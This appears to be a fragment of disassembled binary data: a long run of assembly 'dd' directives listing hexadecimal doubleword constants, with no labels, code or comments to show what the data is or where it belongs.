		dd 4CEFD4F4h, 0A00FC0BFh, 1400B68Fh, 0BCBA9A50h, 3A67088h
		dd 0B73CB5EEh, 0E1D880D3h, 8900D0A7h, 91A807F6h, 1D7E386Eh
		dd 80856FF0h, 0EF343DFAh, 0BA90053Ch, 0E71C46E4h, 2940FEF8h
		dd 379626E8h, 626F010Bh, 1D366172h, 0DBB9D8BCh,	4B8F704h
		dd 0F3C06EB1h, 14787250h, 0ECD519FCh, 0A0AF4000h, 0BCC0D08Ch
		dd 0D0205E4Ch, 0DAC980C8h, 3CBDAE27h, 0AD809C17h, 3DD2743Ch
		dd 0D00C119h, 0AA0B0E9Fh, 14C86E08h, 0ECE3EDDDh, 17F76A04h
		dd 0CF28A4h, 68418EF5h,	0B65F38F6h, 0F8147074h,	3AE9142h
		dd 6FE409EBh, 7D04903Fh, 6D1E1250h, 48A841FDh, 0E0D60A1Ah
		dd 0D000F811h, 9B8523DAh, 147DECh, 0E9F5A524h, 5A6A5C02h
		dd 0E5552005h, 0CBC7A068h, 24A6E0A0h, 3B17688h,	8B3DA87Ah
		dd 8000F543h, 2098DBBEh, 1F03F2A5h, 800EAFC9h, 6A5DE32Bh
		dd 0CA7D8954h, 428C1900h, 0E1663C4Ah, 84AD0049h, 32166D7Ah
		dd 4F6AEF0h, 6F503900h,	0B4012703h, 3FC1004Ch, 0F23019ACh
		dd 2000415h, 50A49F38h,	7A266Eh, 0A256451h, 0FEB34341h
		dd 38748400h, 853BCE2Fh, 0C2A03024h, 0A55FE0A0h, 0EFBCA901h
		dd 564A57D7h, 6E79C840h, 300C1F48h, 3FD505B0h, 0EB2CC032h
		dd 0DA0093F4h, 0AD0D917Eh, 90E527B4h, 0BF9A0084h, 282C2F56h
		dd 58B7F717h, 8D370011h, 0CAF613FFh, 2101F4E5h,	4CF1F9BBh
		dd 0C040C41Ch, 0F2693Eh, 996F415Fh, 0AF6405DAh,	4F714Ch
		dd 363EFE92h, 9A7CBA14h, 0A3270090h, 0D480F262h, 3E12D901h
		dd 6F013783h, 0FE2E4AE2h, 17AC5D4h, 500FB332h, 0CC947710h
		dd 6C3BC918h, 0F8E326A3h, 7B5F1100h, 0C1A157h, 77DE234Eh
		dd 0C96B0335h, 1128F31Eh, 0B3BE5BC0h, 0EC73844h, 3E1752F4h
		dd 1CA9801Fh, 1F149DFCh, 80954C39h, 0DEBBD512h,	988CB7E9h
		dd 4D88005Ah, 645221A6h, 0F49ABEF4h, 60ABBB00h,	0B2826C93h
		dd 58C901D8h, 3646CBC2h, 0E6C3D0E8h, 19E9D3Dh, 8EBB743Dh
		dd 0E830029Bh, 0DFE40284h, 0A22C11Ah, 10A18C87h, 0D995AED0h
		dd 0AA464E00h, 0BE565F6Fh, 0E7B00390h, 520487E1h, 0FC77C9C1h
		dd 3002616h, 2885EB55h,	0E5EF10h, 9A0DD02h, 4DF9A53Dh
		dd 0E8505071h, 0E09216E8h, 2F943300h, 0F0E6BEA3h, 222B009Dh
		dd 0A96EFB5Eh, 0B7002A2Eh, 4FCBFDE1h, 0EB1D062h, 254A31CEh
		dd 5F9C5DFDh, 159140EBh, 3D8CE7B3h, 0FAF38h, 0C16908BFh
		dd 0A31857h, 0E6FE8291h, 3983A0C8h, 875CEE01h, 2AF4290Ah
		dd 0A796F8D7h, 73707208h, 5FE40Fh, 0AC2930F0h, 4EE750C7h
		dd 2CFAE958h, 0B4163508h, 23433C02h, 0A82CC0AEh, 1E360044h
		dd 58BA27A9h, 300904Fh,	0DF53B26Ch, 0B3ABFAh, 49BCCEC0h
		dd 45F5E53Dh, 21313Bh, 2A0B9816h, 482CC4ECh, 0A33B0D25h
		dd 0EBB6D101h, 0E466B1AFh, 8B009150h, 93554A45h, 0ED62BB3h
		dd 16D146A0h, 103079C3h, 6980568Bh, 0E8004CD7h,	9E5B820Ch
		dd 4EA9511h, 0A83FC074h, 0D88488C2h, 1D5E073Fh,	0B2801970h
		dd 276011CFh, 0BAA007Ah, 0A39FBCC8h, 38001A1Fh,	5A087F10h
		dd 0D41629h, 4C49CF39h,	2EE55BB3h, 0EB19CA05h, 0A8C0D1A4h
		dd 18400564h, 5CBD34EDh, 0E03C4C25h, 0B3BF800Ah, 0DD4F1879h
		dd 1020987Eh, 752567B0h, 50272B32h, 61F7E0E0h, 0F664058Bh
		dd 771A89h, 9A9DCBC9h, 0D498EB01h, 5F533600h, 803DE727h
		dd 7F57008h, 519F5CDCh
		dd 0F2BB80E4h, 0D478370Bh, 191A5800h, 126FE3C7h, 0E7DE0066h
		dd 0A285E14Bh, 0B749E50Ah, 3BB87648h, 585C4000h, 97B150A1h
		dd 0F427002Eh, 1C5FA6EFh, 111D4495h, 7C80C9EAh,	0E5DBB1ACh
		dd 225924CEh, 9E00E42h,	62141720h, 0BF245E21h, 600A488h
		dd 60CC2A6Ah, 9B6E03A5h, 521CA366h, 70B7CEF8h, 7D1F5A00h
		dd 0D57E410Bh, 94A186Bh, 23C76499h, 0B0A0CAECh,	0AF584B0Bh
		dd 9AC81F80h, 9C3CBC80h, 1C16FDh, 151FB0B9h, 6FA47502h
		dd 0C3F3BCA0h, 991BBE00h, 9D13E1E5h, 81B000FBh,	61912026h
		dd 5D00F84Eh, 6D33992h,	9072AFBBh, 5EF107ACh, 8082A49Ah
		dd 0FAAE8C85h, 37232D00h, 3E36AB13h, 487A072Eh,	0A4A5510Fh
		dd 986D86C2h, 0B3339C05h, 1CC0A9D1h, 757B84BFh,	0E9C4018Bh
		dd 2DFB9879h, 7845608Dh, 80C9CB39h, 0CF082F74h,	0CACED9h
		dd 0BF0BE5E9h, 0C46BB435h, 0DFF70914h, 0FA4609F8h, 0FBE4489Bh
		dd 0D7C81F9Fh, 0EE124051h, 0D547D4Ch, 0A07E3607h, 7B20E569h
		dd 4E81A7Ah, 0F99773ACh, 9F848130h, 300DE1C5h, 3A00A578h
		dd 4581D83h, 77740CE7h,	71BA044Ah, 81A78EB7h, 24A33907h
		dd 5F00816Ch, 6780AE4Ah, 35CB20h, 0ACE4C813h, 96959B88h
		dd 0B49EC0F5h, 7F13306h, 388AB0h, 5923CD4Bh, 5450E027h
		dd 8839D60Ah, 140398CBh, 0D89A3B49h, 0A2DF40h, 3253510Bh
		dd 69F0170Ch, 55656E0Fh, 9A40BECCh, 0A71C9048h,	96B5003Eh
		dd 4D814476h, 0FE2811AAh, 732AE271h, 0EE1298B9h, 7CD832EBh
		dd 1F510171h, 8C6654DCh, 0F33BF4C8h, 62BD7E1Fh,	618ACBh
		dd 2C5B8720h, 0C8FE0B43h, 6CA06644h, 0B1DEE231h, 695C9001h
		dd 0B9DA9423h, 8069F547h, 0F13154D0h, 27C8007Dh, 0DA67A373h
		dd 665C5082h, 0C0510B4Dh, 0DC80988Ah, 46F3304Dh, 0FF03BB08h
		dd 65130B00h, 3330DE01h, 49A10055h, 0CD797F3Ah,	0D2006A62h
		dd 9C516147h, 1968C5Ch,	0CE787087h, 0F885E2ACh,	0FC24557Dh
		dd 0E60EE472h, 6843A3C4h, 0E95D06Ch, 2BBA00ADh,	84B29320h
		dd 0C000A921h, 78384655h, 1EDD9858h, 84A0F03Ah,	0AB0D2B2Fh
		dd 4A53E880h, 0B954099Ch, 0E400C284h, 83EFDE02h, 0BCB8B17Ah
		dd 79A09117h, 0D8124A00h, 0BA2FEFFh, 29AB7243h,	0CDB9FC80h
		dd 3C040588h, 10376C34h, 75E23C87h, 0E7A1E0BFh,	105090D1h
		dd 34D65Ah, 0ED618FBAh,	33927828h, 0AF18F952h, 20D2FEE9h
		dd 0B7006628h, 0B096C2A1h, 58E2708Eh, 6E0C2F5Dh, 377950FDh
		dd 2C0470B5h, 9FA0DBE9h, 11A9409Ch, 4E161F2Dh, 9319121Ch
		dd 4F6BC7C0h, 90E4186Fh, 0DE3E00AAh, 0DB4871BCh, 447EB273h
		dd 0D3023AE6h, 46638D0Bh, 60644078h, 744510E3h,	37A800F8h
		dd 9B65EDB8h, 2F2603C4h, 7DC5AF5Fh, 0F8044DD0h,	0FE913101h
		dd 0CDEF4446h, 324E6E4h, 0D125AAACh, 2F98757Eh,	1002C203h
		dd 0EB15D086h, 0BFA20001h, 38EA3D8h, 981F3A0Dh,	5EA0632Fh
		dd 3300DCE6h, 348D3C97h, 0F072D2C8h, 276213BEh,	0B4C4C07Eh
		dd 0E5003A2Ch, 0F3DD065Fh, 0B04F4266h, 9D3D2EFAh, 28971B79h
		dd 0BAACFCA0h, 0E1D3D202h, 6874C6CDh, 513418h, 0C4FA95DCh
		dd 413EDAD6h, 54FC352Eh, 0B0EAD10Ch, 13E00066h,	593928B3h
		dd 922C87A0h, 908074AFh, 84D79ED8h, 0FA80E008h,	2DB800C2h
		dd 50C94096h, 0E93EDD73h, 0E84B01C7h, 0ED21A383h, 108C070h
		dd 0E1BA5A4Eh, 20738515h, 70EC56BCh, 97F81E00h,	0F4C6D017h
		dd 0BD7C0080h, 57E74481h, 14F0EE69h, 7115D4Ch, 0F3B5C0C8h
		dd 6A535AE1h, 98015068h, 0B42C32F4h, 1393FF24h,	1ED3758Bh
		dd 0E41A04C0h, 0AEEE47E4h, 801DB03Ah, 5A2D97BAh, 6B5632h
		dd 0DD646D3Ch, 0BE415486h, 212CCDE6h, 0BA00E4F9h, 0F5CF3595h
		dd 8C895932h, 7C666502h, 5460CD78h, 5E00AE4Fh, 0C9BE4CE3h
		dd 76175CBFh, 0F2DE1607h, 65BA0743h, 60334174h,	0FDF6ECB5h
		dd 58416A26h, 0EC42EC0Ah, 5D483983h, 54C7946Ch,	0BC822095h
		dd 684402Dh, 0CF4F05Ah,	963A22CCh, 5E24E430h, 0A180945Bh
		dd 16CD8418h, 0EDF08873h, 0E3DD2600h, 1ADC8303h, 0E970E75Ah
		dd 524007Eh, 7CBC9CDBh,	3E006C46h, 9BED3A94h, 5D4EF37h
		dd 7AE7A644h, 45C44A39h, 0E4C42084h, 0BB8326B3h, 0ECD58194h
		dd 301D9F38h, 5E09826Ch, 319844Eh, 898DEBACh, 400B298h
		dd 0CA000CF9h, 11F87044h, 1C2383EDh, 4139E2h, 2555DE8Fh
		dd 0DC00D2BCh, 4F602743h, 4456FD7h, 91B466C1h, 0D0C4D77Dh
		dd 69A1EC04h, 3E5420E1h, 10615B2Ch, 0C8E7D053h,	31F700CAh
		dd 1855696Dh, 6800E9D9h, 0FE3A8EFDh, 2D788CFh, 8CF0D2F4h
		dd 0A4812F22h, 301E4F1Dh, 0D0A8E19Eh, 0D600C3F8h, 0A15590Ch
		dd 0A0134A7h, 20E7E242h, 930585DCh, 0D80A0C2h, 2A9EF30Eh
		dd 0C723240Fh, 0FBEE74C0h, 50B200CBh, 6810A124h, 7E0040C6h
		dd 0E2761442h, 486B2Fh,	91613771h, 7AADE73h, 0A0D8FC24h
		dd 43039A0Bh, 483C70F0h, 0DD89188Dh, 0B2CAF46Bh, 1A00D070h
		dd 0C19A86ACh, 3878ECh,	90D853F8h, 81648E3Ah, 5E400C9Ch
		dd 88DF66h, 0F950E57Eh,	0FAD5DC0h, 308D44Ch, 28A41882h
		dd 78CFD16Ah, 16D696E8h, 9D7566h, 0FDF24020h, 4700200Dh
		dd 0FA214127h, 0A1018Dh, 6D50FF6h, 700562C5h, 963E6300h
		dd 0B33C3D4Dh, 0C592630h, 0E2C10000h, 62AF7340h, 0EED9811Dh
		dd 7C0AA60Fh, 87084900h, 0B68863h, 36343F25h, 0A0EB9058h
		dd 0E001B73h, 0C95DE452h, 0B0DED148h, 90C30010h, 0C204C030h
		dd 28020791h, 0AD46E503h, 0E1FF429Ch, 68F43838h, 28F504BEh
		dd 0E07FF6B4h, 0FD009004h, 0C1C7D3FEh, 0FC1BE081h, 74543BFFh
		dd 195AF302h, 4050229Bh, 120C65Ch, 0E6DACF75h, 44200295h
		dd 0AE0F2052h, 31936000h, 3599073Ah, 0F6D7B39h,	76AB9B56h
		dd 0C0B545A0h, 9F00A11Eh, 0D8B423F8h, 94DD3E87h, 911700h
		dd 0A06F2168h, 0D3028D32h, 0ADAB1D4h, 5F484040h, 9279h
		dd 34E6BFC6h, 46E9D539h, 0F56CCCA0h, 0A40FAA00h, 8710401Bh
		dd 83689049h, 0E1E6A19Bh, 1D4850D0h, 411DAC32h,	0CF409F8Bh
		dd 0C4532123h, 3860815Dh, 0D9B7DE60h, 8A973994h, 0B24DC400h
		dd 4203A013h, 6F7D0A0Fh, 68882BDBh, 0F4764314h,	3BE50056h
		dd 81AD83F4h, 5AF0ED2Fh, 0B64E6600h, 0D3E1E701h, 9C65039Dh
		dd 0C9F3B492h, 0DF2777B8h, 2209D900h, 114172C6h, 903E0644h
		dd 39E90F2Bh, 0BD780C00h, 12C4A361h, 0F6D20069h, 0E308519Bh
		dd 9A01B01Bh, 0ABE9100Eh, 0B6C448C4h, 6C230090h, 34B4F9EDh
		dd 0CF00C5A4h, 0EF21E972h, 651637h, 9A50758h, 223DBBF1h
		dd 20B3D100h, 5DF7CDA3h, 54990079h, 90AF65B5h, 3FFE7DCCh
		dd 53F31E1Eh, 1B19C49h,	0D2C9C2FEh, 0C4B95F4h, 0E2D1D538h
		dd 3A074510h, 667C5464h, 6A42C9E0h, 0C6B500CBh,	947861AAh
		dd 0E6777FAFh, 0C9F8AD1Eh, 48C2ECC7h, 8C368200h, 0D242127Dh
		dd 0FFD000DFh, 33383CE8h, 850B13FCh, 1DB93Bh, 0F28493B9h
		dd 598C0015h, 0F661F89Bh, 0C70056E9h, 2526DAFh,	5EC667h
		dd 58376B2Dh, 22A4669Eh, 7194CB00h, 0C27CC508h,	2C810053h
		dd 0B0E28919h, 5F004D3Bh, 6885C98Ah, 0F29938A0h, 0EC1D0162h
		dd 5B7AB122h, 0C68CDC1Ch, 0A5344816h, 7746391Fh, 0E040E361h
		dd 2D7D059Bh, 0AF3FB8F1h, 4E6ACE03h, 0CBD7D829h, 92C21883h
		dd 1CDD9030h, 65572F03h, 0D82E0805h, 2C69EBh, 7A114ECEh
		dd 48595A2h, 2FFD1400h,	3B23936h, 0C86800F2h, 6A98EC10h
		dd 24001B5Eh, 0FCE00815h
		dd 0F45518h, 7693CBAh, 0BD7E91D9h, 0F2AA9600h, 92C9A797h
		dd 219F0099h, 29DA7467h, 9B00C6B1h, 7FA6BBA9h, 3F832369h
		dd 143EC031h, 0AD535900h, 0E282BD9Eh, 0D4FF0600h, 0D94DB23Ah
		dd 972C003Dh, 738FA938h, 0A41FAD9Dh, 0E08F50C2h, 7EB8015Ch
		dd 89C0E48Dh, 0A02D003Ah, 1C583196h, 6B004197h,	0D26DF1ACh
		dd 0A9AE44h, 6DC8424h, 0EB987A2Bh, 4CD19E00h, 0CD86588h
		dd 0B31C0FECh, 0CF07F4CCh, 98A320FFh, 1E7869D1h, 86291300h
		dd 0B5E1C397h, 5720014Fh, 16AF71EDh, 0F656ECF0h, 0C0F2A700h
		dd 96884C4h, 500491BDh,	6B007D05h, 3037474Fh, 3B977CE7h
		dd 0A280AA65h, 3D452569h, 7912EE9Ch, 0FB05AF9Bh, 0EC4049E0h
		dd 0FE7A1927h, 3F0FAC5h, 2FDE5B8Bh, 0CE901FC0h,	0B4028514h
		dd 9529B38Eh, 334253h, 0FA72FCECh, 7E8B0021h, 6310F920h
		dd 6700C5ADh, 81062773h, 0CD3CFFh, 9CE857B4h, 682271C6h
		dd 89A6E400h, 32EE0716h, 12EF3F8Ch, 66E9B40Eh, 16180BEh
		dd 202878DEh, 7E5AA00h,	5995CE0Dh, 156800C0h, 1AD8071h
		dd 56003C92h, 0C2250747h, 28FDE5h, 4291BD73h, 7B35DCF6h
		dd 3798BC7Ch, 61A2840Eh, 5B41405Dh, 0E7623Dh, 66F703E0h
		dd 47CAB3D5h, 0F4DE5F05h, 0FC00AEBDh, 0F81F6D91h, 60340E64h
		dd 17A0F3A0h, 72CCDB30h, 67428F00h, 93820A2Dh, 0C31D0275h
		dd 0FDB6E728h, 0F880FD43h, 9400A865h, 1AC52654h, 0F22C9Ch
		dd 0D54E01EBh, 3A10987Bh, 0B806602h, 0C081B8FEh, 0E4A4BAh
		dd 1E36172Fh, 2D4316C1h, 0E6D76A00h, 0B17E61EFh, 0A8DEC7Bh
		dd 4C6B6993h, 0D63002C4h, 0D8A0C433h, 42740FE7h, 79B56C07h
		dd 72108C41h, 5253C6h, 20A701DDh, 45E4B743h, 0F35F1B1Eh
		dd 0C28D0FBBh, 7175E05Bh, 23D8196h, 49E6013h, 3840617Ah
		dd 0A002AE59h, 0CDBFD7E4h, 908FF786h, 0F0640012h, 1D924BF3h
		dd 0D267C107h, 0B4807261h, 1B6FD3h, 0D751ED22h,	0CFA6FBD0h
		dd 1DFCE63Ah, 23491AE7h, 1DB28064h, 716C7F93h, 85C600ECh
		dd 1B79330Bh, 0D2046F14h, 9BDA36F9h, 9D60C897h,	0E0EEECh
		dd 0AF909A92h, 4BE21371h, 0C187201h, 0BB265C42h, 4A0AE8h
		dd 35F58D1h, 750644BEh,	5D4EC70Ah, 1A07086Dh, 0C2006A20h
		dd 0F4812E8h, 0B03A193Ch, 3371B28Ch, 0DB004D7Bh, 420AA8Dh
		dd 140952h, 0BECE4A4Ch,	58969E64h, 0E9F05E7Ch, 0FE117667h
		dd 0DAC97080h, 5DBE0054h, 80C8EC32h, 4E001411h,	503081E8h
		dd 0F4995F5Ah, 221900B7h, 31870901h, 0C7283B38h, 9D0CD095h
		dd 50445A7Fh, 6EFC0019h, 63F46957h, 0DE007A89h,	3DAA4DC9h
		dd 0B05A0F43h, 0AE4200CEh, 94027174h, 5500DD0Ah, 0B227BDC1h
		dd 364C2C45h, 0A848137Fh, 3500317Eh, 0F008CD59h, 80555Eh
		dd 0A8899D94h, 6B3201AFh, 0D050F500h, 0C4162CCBh, 61E0F796h
		dd 1420007Bh, 8AB6F021h, 9E00591Fh, 1CFA073Ch, 0DA3D03h
		dd 627374BCh, 0D82D6985h, 0DF805602h, 829418C1h, 605D9AACh
		dd 423F89h, 3DABB5ACh, 0ACFFE20h, 2EDEF607h, 0A2B03957h
		dd 77648C53h, 0E46A0B4Dh, 2F00EC75h, 0CF806C55h, 0EA943Ch
		dd 2EDDAE0Bh, 30C2A9h, 0FEAAFFA4h, 8AA0581Ah, 79B5F226h
		dd 20E4803Eh, 2934173Dh, 0BDD300B3h, 0D6046158h, 1900E05Eh
		dd 8409F24Eh, 9B3473h, 6B938F24h, 3C47AA86h, 70E1251Eh
		dd 510D7480h, 4985D272h, 9E2B14B1h, 887C7E04h, 5FBBD623h
		dd 940552E0h, 59290598h, 38BAA442h, 5A304118h, 5B4010C6h
		dd 6E94002Fh, 23782CB1h, 0DD71F3D7h, 41C5C21Dh,	0B046DE47h
		dd 2135C853h, 6F081829h, 62399DDFh, 2203F922h, 55107BD4h
		dd 7521C351h, 4201A23Ch, 524476C0h, 15DC4411h, 445C0644h
		dd 28A1217Ah, 5F14410Dh, 8F081238h, 90650828h, 37908429h
		dd 814044Ah, 0E594476Ah, 0A0DE3F50h, 0A810EFADh, 8700174Dh
		dd 36C9A2AEh, 1D1A379Fh, 40A334B9h, 0E349B105h,	3300E692h
		dd 0B20667C7h, 28DBC5FBh, 0B008CED9h, 0D3EF1FC7h, 0F59F94h
		dd 7D89A21Ah, 50004514h, 54D92B25h, 0D88B63h, 2EADC168h
		dd 8683550Bh, 8EFDDC03h, 0E8B31589h, 0FA1B4Bh, 6C28339Ch
		dd 4F324031h, 0C766A700h, 3C41A278h, 98F17529h,	9DDB1237h
		dd 0A80040A4h, 3812322Ch, 0AB7E53Bh, 80E7C502h,	58217600h
		dd 7C5BBFh, 0F88A2B9Bh,	0FD5565F7h, 9F1B9701h, 0C3D140DDh
		dd 0EFC75887h, 31E10348h, 8D751000h, 76713CD2h,	0C8400326h
		dd 4AA7BD45h, 99D348D8h, 3726203h, 12BFC14Dh, 408674A8h
		dd 5044E554h, 1800EF29h, 98F5DDA1h, 770EBE2Bh, 0A9376096h
		dd 5CE9E379h, 95040801h, 559FA681h, 7A12C4h, 0DB5186EFh
		dd 9BF4022Dh, 96605D07h, 21A088BFh, 47D3C9h, 548AD411h
		dd 7D387549h, 53588E00h, 0DDEA3419h, 0A5953E31h, 6B16BA00h
		dd 0F6CACEAEh, 0D1190E0Eh, 92A760BDh, 0A4E995h,	80EFCF6Fh
		dd 0F69B7599h, 0BC91A300h, 6465BA04h, 0C40300BFh, 99A2FDEAh
		dd 73008F49h, 0F8591F2h, 0FEA463h, 770A9BAh, 0C5967CDBh
		dd 692EE800h, 3DC8BCA2h, 70D4A062h, 0DF910085h,	5F1005E7h
		dd 0A3008E68h, 9E0AEDD1h, 605A5Ch, 0AB3F2B1Dh, 9A3D8C34h
		dd 245D620Ah, 5B800831h, 0BC9D06CAh, 0D4ED2443h, 0B5B10038h
		dd 3025448Dh, 0A9C6BF1Dh, 0FD2A3280h, 0B7D615h,	117F17ABh
		dd 31225D04h, 1DD78D00h, 0F90F02A0h, 0CF1500F7h, 0DED242Ch
		dd 110F55ADh, 808EDBCDh, 0D518C559h, 890C4h, 0EDCF3EA3h
		dd 3FB4EF3Bh, 0D1B72106h, 2421F7CDh, 3648CC8h, 88F5228Ah
		dd 0F90019A6h, 0EF2156BFh, 4B63Dh, 0FE1BA4FDh, 770AD2CBh
		dd 0AC6BDF00h, 331497B8h, 7336245Ch, 4E4B016Ch,	0E465AA41h
		dd 0D20EE1ACh, 0F8AE1Ah, 0AFB91088h, 222F00FCh,	0A41464C7h
		dd 0FB030787h, 7566CD95h, 3BB29085h, 0CF4503A5h, 98BA1549h
		dd 9F5E2800h, 7CF6ECAEh, 74E900B3h, 690D0484h, 0F8C712DBh
		dd 0C1007F8Dh, 0AA4529h, 0B092E527h, 0FE5795F4h, 84CC511Eh
		dd 26BD1C80h, 2F4744A4h, 9A56CF49h, 0D62A2B00h,	7D3FD87h
		dd 0A89265B0h, 8BC1D0CAh, 2909A412h, 80D5E6E0h,	0C6FB9BD8h
		dd 50A60761h, 0D010FE6Fh, 7DD867F4h, 0EF84100h,	7E75F22Ch
		dd 65053B19h, 0E587FE00h, 5D167003h, 7F00EA73h,	669A4CD7h
		dd 6808B3h, 3BCFAC99h, 9DEF8D8Eh, 61D66300h, 47902B35h
		dd 56E71475h, 0E900C814h, 2FE5596Ah, 7000EB82h,	4376EEC5h
		dd 0D36225h, 0A556E9A9h, 5F0F93DAh, 58EBBE03h, 0C97F755Eh
		dd 2DD4A7C1h, 134FECCh,	57AE6A67h, 0DC87FC56h, 0A200F0D2h
		dd 79393590h, 277B0295h, 72544EB2h, 330F3A04h, 533B30C0h
		dd 0B60402E4h, 0A80F3C4h, 0BDF26CC8h, 76D2E61Ch, 3C03A9DEh
		dd 0C046094Bh, 869C06h,	683215CFh, 0BBDCEE7Ah, 26060376h
		dd 0FDBCEB0Fh, 398A0020h, 6BFC1C40h, 0B826945Dh, 0D6040FAEh
		dd 0D280455Fh, 1698BDh,	1D157F2Ch, 61517079h, 4159B8C0h
		dd 4D6A32h, 878BD25Bh, 0F28C2AA9h, 0F6E77A00h, 0A8E0CF81h
		dd 0DEF466h, 0EACD5130h, 0CCB97EA1h, 64908F77h,	0A4A53228h
		dd 5030CE60h, 59A1165Ch, 0EE3EDCF7h, 69D4FB03h,	80975BC2h
		dd 0A61790C0h, 11507101h, 21F76E56h, 81BA8844h,	0E04E616Dh
		dd 4A028D5Bh, 37FD9F96h, 57684029h, 8BD52AC0h, 0D38700F0h
		dd 551FF3Ch, 1501C406h,	7E3A62E6h, 0AEC09FE3h, 0B7E100DAh
		dd 0CF978B55h, 407642Dh, 548EC609h, 1ED0A690h, 5D313B9Ch
		dd 8956DB80h, 0C2233E6Dh
		dd 6722EB0Fh, 0CF0180B3h, 384A396h, 0A6702819h,	0AEA8A978h
		dd 5601B9ACh, 7ED9EDFFh, 4821FC91h, 0C3D4FDCh, 0B0033746h
		dd 49EA97A8h, 0E7F0A4EAh, 0FBC9E500h, 0F6B9B3F2h, 0BEF0070Ch
		dd 0BB15B286h, 0A7B3800h, 0D100BA6Dh, 8CF1F6D6h, 5802C684h
		dd 4200104Dh, 8597C294h, 2BFE2431h, 41E0B500h, 5F4E9BEAh
		dd 0B00Dh, 0CB991E2Fh, 0EE2269DEh, 97F71A0Ah, 7E05C8B8h
		dd 9C80070Ah, 9ACF06h, 0BF1D0C7Fh, 60A11CC9h, 2BFDE500h
		dd 5BC8AF51h, 0F30E07FEh, 3090572Dh, 0B3CE3DCDh, 529B9200h
		dd 508DEE01h, 13AEA17h,	8F6D144Fh, 8368D5FFh, 7A259F8h
		dd 0FBDDD0B6h, 0FC620053h, 63E47685h, 0F8004BB2h, 68071F3Ch
		dd 3070EC2Fh, 0F63893E2h, 66004326h, 0A91565A0h, 0E44173h
		dd 39D1CFD3h, 4FD2C608h, 0ACA1C1Ch, 157C4700h, 0C4AA2Ah
		dd 35955BD6h, 84433D61h, 0CEED4507h, 1700A32Eh,	88ADB9h
		dd 0A5F9210Dh, 0D0FA5A2Fh, 7F778600h, 10075803h, 1EC014E3h
		dd 7E00F0A8h, 0F9BDFA3Ah, 2F003769h, 0B406373h,	1CAC8203h
		dd 0C0722A2Dh, 3C23E9D3h, 20E5BD66h, 459F0BCh, 84642C7Ch
		dd 51120F80h, 1F8B6Eh, 9BE1D92Dh, 0AF2ABFAAh, 15D20C02h
		dd 0C2A3DD35h, 0DB080070h, 0B0A8749h, 816CC00Dh, 908F8009h
		dd 6DD2F02h, 95D4D4C8h,	0C69C4754h, 0AFBD600h, 8EDE8780h
		dd 9B030082h, 659A5632h, 0DF6AE01h, 6D3FBE07h, 64B00298h
		dd 0F9ADF6h, 0F272F7Bh,	15E34946h, 82704479h, 347A642Eh
		dd 594EEE80h, 4F39FBh, 66613099h, 43F241DBh, 17D25760h
		dd 70FFDA4h, 322F50D6h,	46EE50A8h, 200C719h, 662BDDDCh
		dd 125921C2h, 1F5B57Ch,	7FC0B668h, 94E7D0B7h, 0BBD21C00h
		dd 4C9CBDA1h, 6010045h,	2C14E034h, 6B0152AAh, 64E95408h
		dd 0F04076C2h, 0AFBBD93h, 23F94E35h, 3AA500DFh,	0B6B8D568h
		dd 41D02A00h, 31CFAFEBh, 1D0E050Bh, 0C0296BAAh,	7932A7A4h
		dd 0FA72B700h, 0DF7D8FC9h, 0B3BE1B2Fh, 0F3E02009h, 0BF07169Fh
		dd 5D658C91h, 0B9DA6BE0h, 30634C36h, 0C8549300h, 82CCE11Ch
		dd 0EE1800E1h, 514C48D8h, 69AB7101h, 0CCA20172h, 4A00F4C2h
		dd 53432275h, 0B064265Ah, 0E21B09C3h, 9881D1A2h, 0F8FE4FEFh
		dd 9216CC73h, 6C09F3DBh, 948B015Bh, 0AF4B9DDh, 4C3DFA5Eh
		dd 0EA009399h, 466F032h, 0D40039FEh, 609A2A82h,	136C0B6Eh
		dd 2A57C0Ch, 0A8E58F4Ch, 7B697CC0h, 0AE0014EEh,	71432D34h
		dd 3328AB4h, 9D2B39F7h,	7CE07307h, 5677AFA6h, 294D9500h
		dd 848BAA70h, 0E45D1CD1h, 6D3B4EC3h, 0D6143400h, 0B57248E1h
		dd 0B9C2B00h, 0CC085AC6h, 3DC948Bh, 0EE88A5FBh,	41C98097h
		dd 0AA0499A1h, 0DCE56AA3h, 7DBD69C0h, 0F4E103E6h, 0C11589B1h
		dd 0BC1D73C8h, 4106ACB8h, 0AFF489Ah, 7A780111h,	0B9A88ED2h
		dd 0DCCC30ACh, 14E1A301h, 90C3B8DFh, 6168CCh, 2517669Fh
		dd 7ED7FE4h, 1DB5A503h,	0D09086EFh, 5931Ch, 0F8E72E4Fh
		dd 0A76709C8h, 283074FCh, 0AD5A10F9h, 7BDE00B5h, 6E1413F1h
		dd 97745995h, 91D8A10Bh, 0FAB900EFh, 8AC4F7h, 33728853h
		dd 2A485845h, 89E52000h, 377B70F9h, 0D9BD0A52h,	0F42F25h
		dd 695A40A3h, 9600C8FFh, 1041D7F7h, 0FEF2716Ch,	777109h
		dd 1E974216h, 0B6483DADh, 9A03B4EAh, 8035B238h,	75DFF0CEh
		dd 680E08E2h, 13811070h, 414D64E6h, 0D13DDCh, 70DBA8Eh
		dd 8297DE11h, 0C39EF40Bh, 8D1F814Dh, 0E6F8B5FFh, 0C9D3005Ah
		dd 0BAC23BE2h, 660FE783h, 219E14E4h, 655914Ch, 75F89CF9h
		dd 8DEF120Ch, 0EAC41CDh, 0F8280DB1h, 4A03B34Dh,	508413DEh
		dd 18C1C555h, 40FEF29Dh, 26A3FA8h, 20B7FAFh, 38C0F632h
		dd 4D00AA39h, 1F799290h, 158B128Ah, 943AF534h, 0C9F4571Eh
		dd 44C8CBC3h, 0CDE2D8C2h, 5C007170h, 0C6E61821h, 0F808233h
		dd 0AB0355BEh, 1EC3140h, 9B004DD1h, 39E95D62h, 28F4C7F3h
		dd 0E8944F87h, 4DE802FDh, 279732FFh, 18F730E0h,	1E06B800h
		dd 0EEABD1A0h, 228A16BBh, 0AF580060h, 6F0FFE7Bh, 0AC2A1C0Ch
		dd 3EDF489Dh, 8DA667DEh, 328600C9h, 0B1D76B60h,	2A349100h
		dd 0A8833870h, 0A4E602F9h, 1513B8CFh, 9590E4C8h, 61A07800h
		dd 0E3AF0538h, 89DD0547h, 49CFA5h, 3291D6F6h, 52030B72h
		dd 14354D0Dh, 7A55E890h, 8C92009Dh, 0FF84D22Ah,	5900E9DFh
		dd 43C94F4Bh, 0EBE5B0h,	864E071h, 3825CB2Dh, 0F61E3898h
		dd 0B02A35C0h, 0A587C713h, 2A173501h, 0ABD81AA2h, 61DD0090h
		dd 0EBD0C5ACh, 450056B1h, 0C4295132h, 3DA81AB3h, 1803C3Eh
		dd 0ADD28BBCh, 833B2678h, 0B0772A34h, 9842D713h, 407A3843h
